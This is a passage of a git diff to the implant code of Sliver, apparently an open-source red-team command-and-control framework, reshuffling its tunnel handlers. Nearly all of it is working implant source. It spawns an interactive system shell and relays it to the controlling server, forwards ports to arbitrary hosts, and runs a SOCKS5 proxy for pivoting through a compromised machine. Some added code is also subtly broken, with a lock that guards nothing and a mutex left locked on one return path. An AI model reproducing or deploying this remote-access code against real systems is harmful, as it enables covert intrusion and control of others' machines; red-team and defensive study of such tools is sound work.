+		sliverpb.MsgPwdReq:               pwdHandler,
+		sliverpb.MsgRmReq:                rmHandler,
+		sliverpb.MsgMkdirReq:             mkdirHandler,
+		sliverpb.MsgExecuteReq:           executeHandler,
+		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
+		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -178,26 +176,6 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
-	tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
-	err := proto.Unmarshal(data, tokOwnReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	getCT := &sliverpb.CurrentTokenOwner{}
-	owner, err := priv.CurrentTokenOwner()
-	if err != nil {
-		getCT.Response = &commonpb.Response{Err: err.Error()}
-	}
-	getCT.Output = owner
-	data, err = proto.Marshal(getCT)
-	resp(data, err)
-}
-
 func getsystemHandler(data []byte, resp RPCResponse) {
 	getSysReq := &sliverpb.InvokeGetSystemReq{}
 	err := proto.Unmarshal(data, getSysReq)

implant/sliver/handlers/pivot-handlers.go

@@ -111,7 +111,6 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
 		return
 	}
 	pivots.StopListener(req.ID)
-	pivots.RemoveListener(req.ID)
 	connection.Send <- &pb.Envelope{
 		ID:   envelope.ID,
 		Data: []byte{},

implant/sliver/handlers/rpc-handlers.go

@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
 }
 
 func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.ScreenshotReq{}
+	sc := &sliverpb.Screenshot{}
 	err := proto.Unmarshal(data, sc)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
 	// {{if .Config.Debug}}
 	log.Printf("Screenshot Request")
 	// {{end}}
-	scRes := &sliverpb.Screenshot{}
-	scRes.Data = screen.Screenshot()
-	data, err = proto.Marshal(scRes)
+
+	sc.Data = screen.Screenshot()
+	data, err = proto.Marshal(sc)
 
 	resp(data, err)
 }

implant/sliver/handlers/special-handlers.go

@@ -22,7 +22,6 @@ package handlers
 
 import (
 	"os"
-	"time"
 
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -55,9 +54,6 @@ func killHandler(data []byte, _ *transports.Connection) error {
 	// {{if .Config.Debug}}
 	log.Println("Let's exit!")
 	// {{end}}
-	go func() {
-		time.Sleep(time.Second)
-		os.Exit(0)
-	}()
+	os.Exit(0)
 	return nil
 }

implant/sliver/handlers/tun-handlers.go

@@ -19,24 +19,36 @@ package handlers
 */
 
 import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"sync"
+	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
-	"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
+	"github.com/bishopfox/sliver/implant/sliver/shell"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/things-go/go-socks5"
+	"google.golang.org/protobuf/proto"
 )
 
 var (
 	tunnelHandlers = map[uint32]TunnelHandler{
-		sliverpb.MsgShellReq:   tunnel_handlers.ShellReqHandler,
-		sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
-		sliverpb.MsgSocksData:  tunnel_handlers.SocksReqHandler,
+		sliverpb.MsgShellReq:   shellReqHandler,
+		sliverpb.MsgPortfwdReq: portfwdReqHandler,
+		sliverpb.MsgSocksData:  socksReqHandler,
 
-		sliverpb.MsgTunnelData:  tunnel_handlers.TunnelDataHandler,
-		sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
+		sliverpb.MsgTunnelData:  tunnelDataHandler,
+		sliverpb.MsgTunnelClose: tunnelCloseHandler,
 	}
+
+	// TunnelID -> Sequence Number -> Data
+	tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
 )
 
 // GetTunnelHandlers - Returns a map of tunnel handlers
@@ -46,3 +58,433 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
 	// {{end}}
 	return tunnelHandlers
 }
+
+func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelClose := &sliverpb.TunnelData{
+		Closed: true,
+	}
+	proto.Unmarshal(envelope.Data, tunnelClose)
+	tunnel := connection.Tunnel(tunnelClose.TunnelID)
+	if tunnel != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
+		// {{end}}
+		connection.RemoveTunnel(tunnel.ID)
+		tunnel.Reader.Close()
+		tunnel.Writer.Close()
+		delete(tunnelDataCache, tunnel.ID)
+	}
+}
+
+func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	tunnelData := &sliverpb.TunnelData{}
+	proto.Unmarshal(envelope.Data, tunnelData)
+	tunnel := connection.Tunnel(tunnelData.TunnelID)
+	if tunnel != nil {
+
+		if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
+			tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
+		}
+
+		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
+		// to ensure we write the data back to the reader in the correct order. The server will ensure
+		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
+		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
+		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
+		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
+		// correctly write them back to the reader.
+
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
+		// {{end}}
+
+		//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
+		//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
+		var l sync.Mutex
+		l.Lock()
+		tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
+
+		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
+		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
+		// is used here whereas WriteSequence is used for data written back to the server
+
+		// Go through cache and write all sequential data to the reader
+		cache := tunnelDataCache[tunnel.ID]
+		for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
+			// {{if .Config.Debug}}
+			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
+			// {{end}}
+			tunnel.Writer.Write(recv.Data)
+
+			// Delete the entry we just wrote from the cache
+			delete(cache, tunnel.ReadSequence)
+			tunnel.ReadSequence++ // Increment sequence counter
+		}
+
+		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
+		//Send a Resend packet to have the msg resent from the cache
+		if len(cache) > 3 {
+			data, err := proto.Marshal(&sliverpb.TunnelData{
+				Sequence: tunnel.WriteSequence, // The tunnel write sequence
+				Ack:      tunnel.ReadSequence,
+				Resend:   true,
+				TunnelID: tunnel.ID,
+				Data:     []byte{},
+			})
+			if err != nil {
+				// {{if .Config.Debug}}
+				log.Printf("[shell] Failed to marshal protobuf %s", err)
+				// {{end}}
+			} else {
+				// {{if .Config.Debug}}
+				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
+				// {{end}}
+				connection.RequestResend(data)
+			}
+		}
+		//Unlock
+		l.Unlock()
+
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
+		// {{end}}
+	}
+}
+
+// tunnelWriter - Sends data back to the server based on data read()
+// I know the reader/writer stuff is a little hard to keep track of
+type tunnelWriter struct {
+	tun  *transports.Tunnel
+	conn *transports.Connection
+}
+
+func (tw tunnelWriter) Write(data []byte) (int, error) {
+	n := len(data)
+	data, err := proto.Marshal(&sliverpb.TunnelData{
+		Sequence: tw.tun.WriteSequence, // The tunnel write sequence
+		Ack:      tw.tun.ReadSequence,
+		TunnelID: tw.tun.ID,
+		Data:     data,
+	})
+	// {{if .Config.Debug}}
+	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
+	// {{end}}
+	tw.tun.WriteSequence++ // Increment write sequence
+	tw.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgTunnelData,
+		Data: data,
+	}
+	return n, err
+}
+
+func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+
+	shellReq := &sliverpb.ShellReq{}
+	err := proto.Unmarshal(envelope.Data, shellReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+
+	shellPath := shell.GetSystemShellPath(shellReq.Path)
+	systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
+	if systemShell == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to get system shell")
+		// {{end}}
+		return
+	}
+	go systemShell.StartAndWait()
+	// Wait for the process to actually spawn
+	for {
+		if systemShell.Command.Process == nil {
+			// {{if .Config.Debug}}
+			log.Printf("[shell] Waiting for process to spawn ...")
+			// {{end}}
+			time.Sleep(time.Second)
+		} else {
+			break
+		}
+	}
+	tunnel := &transports.Tunnel{
+		ID:     shellReq.TunnelID,
+		Reader: systemShell.Stdout,
+		Writer: systemShell.Stdin,
+	}
+	connection.AddTunnel(tunnel)
+
+	shellResp, _ := proto.Marshal(&sliverpb.Shell{
+		Pid:      uint32(systemShell.Command.Process.Pid),
+		Path:     shellReq.Path,
+		TunnelID: shellReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: shellResp,
+	}
+
+	// Cleanup function with arguments
+	cleanup := func(reason string) {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		connection.RemoveTunnel(tunnel.ID)
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+	}
+
+	go func() {
+		for {
+			tWriter := tunnelWriter{
+				tun:  tunnel,
+				conn: connection,
+			}
+			_, err := io.Copy(tWriter, tunnel.Reader)
+			if systemShell.Command.ProcessState != nil {
+				if systemShell.Command.ProcessState.Exited() {
+					cleanup("process terminated")
+					return
+				}
+			}
+			if err == io.EOF {
+				cleanup("EOF")
+				return
+			}
+		}
+	}()
+
+	// {{if .Config.Debug}}
+	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
+	// {{end}}
+
+}
+
+func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	portfwdReq := &sliverpb.PortfwdReq{}
+	err := proto.Unmarshal(envelope.Data, portfwdReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+
+	var defaultDialer = new(net.Dialer)
+
+	// TODO: Configurable context
+	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
+	// {{if .Config.Debug}}
+	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
+	// {{end}}
+	dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Failed to dial remote address %s", err)
+		// {{end}}
+		return
+	}
+	if conn, ok := dst.(*net.TCPConn); ok {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Configuring keep alive")
+		// {{end}}
+		conn.SetKeepAlive(true)
+		// TODO: Make KeepAlive configurable
+		conn.SetKeepAlivePeriod(30 * time.Second)
+	}
+
+	// Add tunnel
+	tunnel := &transports.Tunnel{
+		ID:     portfwdReq.TunnelID,
+		Reader: dst,
+		Writer: dst,
+	}
+	connection.AddTunnel(tunnel)
+
+	// Send portfwd response
+	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
+		Port:     portfwdReq.Port,
+		Host:     portfwdReq.Host,
+		Protocol: sliverpb.PortFwdProtoTCP,
+		TunnelID: portfwdReq.TunnelID,
+	})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: portfwdResp,
+	}
+
+	cleanup := func(reason error) {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		connection.RemoveTunnel(tunnel.ID)
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
+			TunnelID: tunnel.ID,
+		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+	}
+
+	go func() {
+		tWriter := tunnelWriter{
+			tun:  tunnel,
+			conn: connection,
+		}
+		_, err := io.Copy(tWriter, tunnel.Reader)
+		cleanup(err)
+	}()
+}
+
+type socksTunnelPool struct {
+	tunnels    map[uint64]chan []byte
+	readMutex  *sync.Mutex
+	writeMutex *sync.Mutex
+	Sequence   map[uint64]uint64
+}
+
+var socksTunnels = socksTunnelPool{
+	tunnels:    map[uint64]chan []byte{},
+	readMutex:  &sync.Mutex{},
+	writeMutex: &sync.Mutex{},
+	Sequence:   map[uint64]uint64{},
+}
+
+var socksServer *socks5.Server
+
+func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	socksData := &sliverpb.SocksData{}
+	err := proto.Unmarshal(envelope.Data, socksData)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+		return
+	}
+	if socksData.Data == nil {
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
+	// {{end}}
+
+	if socksData.Username != "" && socksData.Password != "" {
+		cred := socks5.StaticCredentials{
+			socksData.Username: socksData.Password,
+		}
+		auth := socks5.UserPassAuthenticator{Credentials: cred}
+		socksServer = socks5.NewServer(
+			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
+		)
+	} else {
+		socksServer = socks5.NewServer()
+	}
+
+	// {{if .Config.Debug}}
+	log.Printf("[socks] Server: %v", socksServer)
+	// {{end}}
+
+	// init tunnel
+	if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
+		socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
+		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
+		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
+		if err != nil {
+			return
+		}
+	} else {
+		socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
+	}
+}
+
+var _ net.Conn = &socks{}
+
+type socks struct {
+	stream *sliverpb.SocksData
+	conn   *transports.Connection
+	// mux      sync.Mutex
+	Sequence uint64
+}
+
+func (s *socks) Read(b []byte) (n int, err error) {
+	socksTunnels.readMutex.Lock()
+	channel := socksTunnels.tunnels[s.stream.TunnelID]
+	socksTunnels.readMutex.Unlock()
+	data := <-channel
+	return copy(b, data), nil
+}
+
+func (s *socks) Write(b []byte) (n int, err error) {
+	socksTunnels.writeMutex.Lock()
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID: s.stream.TunnelID,
+		Data:     b,
+		Sequence: s.Sequence,
+	})
+	if !s.conn.IsOpen {
+		return 0, err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
+	// {{end}}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+	socksTunnels.writeMutex.Unlock()
+	s.Sequence++
+	return len(b), err
+}
+
+func (s *socks) Close() error {
+	close(socksTunnels.tunnels[s.stream.TunnelID])
+	delete(socksTunnels.tunnels, s.stream.TunnelID)
+	data, err := proto.Marshal(&sliverpb.SocksData{
+		TunnelID:  s.stream.TunnelID,
+		CloseConn: true,
+	})
+	if !s.conn.IsOpen {
+		return err
+	}
+	s.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgSocksData,
+		Data: data,
+	}
+	return err
+}
+
+func (c *socks) LocalAddr() net.Addr {
+	return nil
+}
+
+func (c *socks) RemoteAddr() net.Addr {
+	return &net.IPAddr{
+		IP:   net.IPv4(127, 0, 0, 1),
+		Zone: "",
+	}
+}
+
+// TODO impl
+func (c *socks) SetDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetReadDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetWriteDeadline(t time.Time) error {
+	return nil
+}

implant/sliver/handlers/tunnel_handlers/close_handler.go

@@ -1,33 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelClose := &sliverpb.TunnelData{
-		Closed: true,
-	}
-	proto.Unmarshal(envelope.Data, tunnelClose)
-	tunnel := connection.Tunnel(tunnelClose.TunnelID)
-	if tunnel != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnel.Reader.Close()
-		tunnel.Writer.Close()
-		tunnelDataCache.DeleteTun(tunnel.ID)
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
-		// {{end}}
-	}
-}

implant/sliver/handlers/tunnel_handlers/data_cache.go

@@ -1,66 +0,0 @@
-package tunnel_handlers
-
-import (
-	"sync"
-
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-var (
-	// TunnelID -> Sequence Number -> Data
-	tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
-)
-
-type dataCache struct {
-	mutex *sync.RWMutex
-	cache map[uint64]map[uint64]*sliverpb.TunnelData
-}
-
-func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	if _, ok := c.cache[tunnelID]; !ok {
-		c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
-	}
-
-	c.cache[tunnelID][sequence] = tunnelData
-}
-
-func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
-	c.mutex.RLock()
-	defer c.mutex.RUnlock()
-
-	if _, ok := c.cache[tunnelID]; !ok {
-		return nil, false
-	}
-
-	val, ok := c.cache[tunnelID][sequence]
-
-	return val, ok
-}
-
-func (c *dataCache) DeleteTun(tunnelID uint64) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	delete(c.cache, tunnelID)
-}
-
-func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	if _, ok := c.cache[tunnelID]; !ok {
-		return
-	}
-
-	delete(c.cache[tunnelID], sequence)
-}
-
-func (c *dataCache) Len(tunnelID uint64) int {
-	c.mutex.RLock()
-	defer c.mutex.RUnlock()
-
-	return len(c.cache[tunnelID])
-}

implant/sliver/handlers/tunnel_handlers/data_handler.go

@@ -1,81 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelData := &sliverpb.TunnelData{}
-	proto.Unmarshal(envelope.Data, tunnelData)
-	tunnel := connection.Tunnel(tunnelData.TunnelID)
-	if tunnel != nil {
-		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
-		// to ensure we write the data back to the reader in the correct order. The server will ensure
-		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
-		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
-		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
-		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
-		// correctly write them back to the reader.
-
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
-		// {{end}}
-
-		tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
-
-		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
-		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
-		// is used here whereas WriteSequence is used for data written back to the server
-
-		// Go through cache and write all sequential data to the reader
-		for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
-			// {{if .Config.Debug}}
-			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
-			// {{end}}
-			tunnel.Writer.Write(recv.Data)
-
-			// Delete the entry we just wrote from the cache
-			tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
-			tunnel.IncReadSequence() // Increment sequence counter
-
-			// {{if .Config.Debug}}
-			log.Printf("[message just received] %v", tunnelData)
-			// {{end}}
-		}
-
-		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
-		//Send a Resend packet to have the msg resent from the cache
-		if tunnelDataCache.Len(tunnel.ID) > 3 {
-			data, err := proto.Marshal(&sliverpb.TunnelData{
-				Sequence: tunnel.WriteSequence(), // The tunnel write sequence
-				Ack:      tunnel.ReadSequence(),
-				Resend:   true,
-				TunnelID: tunnel.ID,
-				Data:     []byte{},
-			})
-			if err != nil {
-				// {{if .Config.Debug}}
-				log.Printf("[shell] Failed to marshal protobuf %s", err)
-				// {{end}}
-			} else {
-				// {{if .Config.Debug}}
-				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
-				// {{end}}
-				connection.RequestResend(data)
-			}
-		}
-
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
-		log.Printf("[message just transfered] %v", tunnelData)
-		// {{end}}
-	}
-}

implant/sliver/handlers/tunnel_handlers/portfwd_handler.go

@@ -1,112 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"context"
-	"fmt"
-	"io"
-	"net"
-	"time"
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	portfwdReq := &sliverpb.PortfwdReq{}
-	err := proto.Unmarshal(envelope.Data, portfwdReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	var defaultDialer = new(net.Dialer)
-
-	// TODO: Configurable context
-	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
-	// {{if .Config.Debug}}
-	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
-	// {{end}}
-
-	ctx, cancelContext := context.WithCancel(context.Background())
-
-	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Failed to dial remote address %s", err)
-		// {{end}}
-		cancelContext()
-		return
-	}
-	if conn, ok := dst.(*net.TCPConn); ok {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Configuring keep alive")
-		// {{end}}
-		conn.SetKeepAlive(true)
-		// TODO: Make KeepAlive configurable
-		conn.SetKeepAlivePeriod(30 * time.Second)
-	}
-
-	// Add tunnel
-	// {{if .Config.Debug}}
-	log.Printf("[portfwd] Creating tcp tunnel")
-	// {{end}}
-	tunnel := transports.NewTunnel(
-		portfwdReq.TunnelID,
-		dst,
-		dst,
-	)
-	connection.AddTunnel(tunnel)
-
-	// Send portfwd response
-	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
-		Port:     portfwdReq.Port,
-		Host:     portfwdReq.Host,
-		Protocol: sliverpb.PortFwdProtoTCP,
-		TunnelID: portfwdReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: portfwdResp,
-	}
-
-	cleanup := func(reason error) {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		tunnel := connection.Tunnel(tunnel.ID)
-
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-		connection.RemoveTunnel(tunnel.ID)
-		dst.Close()
-		cancelContext()
-	}
-
-	go func() {
-		tWriter := tunnelWriter{
-			tun:  tunnel,
-			conn: connection,
-		}
-		n, err := io.Copy(tWriter, tunnel.Reader)
-		_ = n // avoid not used compiler error if debug mode is disabled
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
-		// {{end}}
-
-		cleanup(err)
-	}()
-}

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -1,118 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"io"
-
-	"github.com/bishopfox/sliver/implant/sliver/shell"
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-
-	shellReq := &sliverpb.ShellReq{}
-	err := proto.Unmarshal(envelope.Data, shellReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-
-	shellPath := shell.GetSystemShellPath(shellReq.Path)
-	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
-	if systemShell == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to get system shell")
-		// {{end}}
-		return
-	}
-
-	// At this point, comand is already started by StartInteractive
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Failed to spawn! err: %v", err)
-		// {{end}}
-		return
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Process spawned!")
-		// {{end}}
-	}
-
-	tunnel := transports.NewTunnel(
-		shellReq.TunnelID,
-		systemShell.Stdout,
-		systemShell.Stdin,
-	)
-	connection.AddTunnel(tunnel)
-
-	shellResp, _ := proto.Marshal(&sliverpb.Shell{
-		Pid:      uint32(systemShell.Command.Process.Pid),
-		Path:     shellReq.Path,
-		TunnelID: shellReq.TunnelID,
-	})
-	connection.Send <- &sliverpb.Envelope{
-		ID:   envelope.ID,
-		Data: shellResp,
-	}
-
-	// Cleanup function with arguments
-	cleanup := func(reason string, err error) {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
-		// {{end}}
-
-		systemShell.Stop()
-
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
-		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-	}
-
-	go func() {
-		tWriter := tunnelWriter{
-			tun:  tunnel,
-			conn: connection,
-		}
-		_, err := io.Copy(tWriter, tunnel.Reader)
-
-		if err != nil {
-			cleanup("io error", err)
-			return
-		}
-
-		err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
-		if err != nil {
-			cleanup("shell wait error", err)
-			return
-		}
-
-		if systemShell.Command.ProcessState != nil {
-			if systemShell.Command.ProcessState.Exited() {
-				cleanup("process terminated", nil)
-				return
-			}
-		}
-		if err == io.EOF {
-			cleanup("EOF", err)
-			return
-		}
-	}()
-
-	// {{if .Config.Debug}}
-	log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
-	// {{end}}
-
-}

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -1,165 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"errors"
-	"net"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
